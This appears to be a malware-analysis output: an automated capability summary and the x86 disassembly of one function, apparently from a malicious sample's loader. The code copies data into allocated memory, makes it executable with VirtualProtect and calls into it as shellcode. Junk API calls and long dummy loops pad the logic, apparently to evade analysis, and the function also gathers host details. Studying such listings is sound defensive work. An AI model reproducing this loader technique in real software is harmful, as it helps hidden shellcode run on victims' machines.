Function at 0x4080d0
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get geographical location
Get hostname
Set console window title
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x83c
mov eax, dword [0x456004]
xor eax, esp
mov dword [esp + 0x838], eax
mov edx, dword [0x2c3643c]
push ebx
push esi
xor ebx, ebx
push edi
cmp edx, 0x7c
jne 0x408153
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [0x2c3643c], 0x2d
jne 0x408144
push ebx
push ebx
push ebx
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
call fcn.00401167
mov edx, dword [0x2c3643c]
add esp, 4
mov ecx, dword [0x457bf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x408170
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408184
mov dword [0x458d28], edi
mov dword [0x458d2c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408163
mov esi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x2c3643c], edx
xor edi, edi
lea ebx, [ebx]
cmp edi, 0x562d05
jne 0x4081b4
mov ecx, dword [0x457be4]
mov dword [0x2c36574], ecx
cmp edx, 0x3c
jne 0x4081c2
push ebx
call esi
mov edx, dword [0x2c3643c]
inc edi
cmp edi, 0x5f6c74
jl 0x4081a0
cmp edx, 0x110a
jne 0x40826e
push ebx
mov dword [0x2c36440], ebx
mov dword [0x2c36444], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea ecx, [esp + 0x18]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
call fcn.00401093
push ebx
push ebx
call fcn.0040117d
push 0x30
push 0x455158
push str._s__c
push 0x458ca0
call fcn.0040100f
push ebx
call fcn.004010d3
add esp, 0x24
push ebx
push ebx
call fcn.0040117d
push 0x455158
push 0x458ca0
call fcn.0040100f
add esp, 0x10
push ebx
call fcn.004014ad
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, dword [0x2c3643c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edi, edi
mov dword [0x2c36298], eax
cmp dword [0x2c3643c], ebx
jbe 0x4082db
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea esp, [esp]
mov eax, dword [0x2c36574]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov ecx, dword [esp + 0x10]
mov dl, byte [ecx + edi]
mov eax, dword [0x2c36298]
mov byte [eax + edi], dl
cmp dword [0x2c3643c], 0x5ab
jne 0x4082d2
push ebx
push ebx
push ebx
call esi
inc edi
cmp edi, dword [0x2c3643c]
jb 0x4082a0
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.msimg32.dll
call edi
mov edx, dword [0x2c3643c]
mov eax, dword [0x2c36298]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x2c3643c]
mov ecx, dword [0x2c36298]
mov ebx, dword [0x456dd0]
mov esi, eax
mov dword [esp + 0x10], ecx
cmp eax, 0x930
jne 0x40832d
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2c3643c]
mov dword [0x458d24], ebx
cmp eax, 0x114e
jne 0x408351
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push 0
call edi
mov eax, dword [0x2c3643c]
cmp eax, 0x2f
jne 0x40836e
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
mov ebx, dword [esp + 0x10]
mov edi, esi
call fcn.00407f50
add dword [0x2c36298], 0
mov ebx, dword [esp + 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor edi, edi
push 0
push 0
push 0
call esi
cmp edi, 0x1a01e
jle 0x4083a7
cmp ebx, 0xf5bed7
jne 0x4083b0
inc edi
cmp edi, 0x1ece7a52
jl 0x40838f
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
mov dword [esp + 0x10], 0x1519a5
mov ebx, 0x8e46a6f0
lea esp, [esp]
cmp dword [0x2c3643c], 0xcc1
jne 0x4083e0
push 0
call esi
cmp dword [0x2c3643c], 0x3dc
mov dword [0x2c3629c], ebx
jne 0x4083f8
push 0
push 0
call edi
dec dword [esp + 0x10]
jne 0x4083d0
mov ecx, dword [esp + 0x844]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret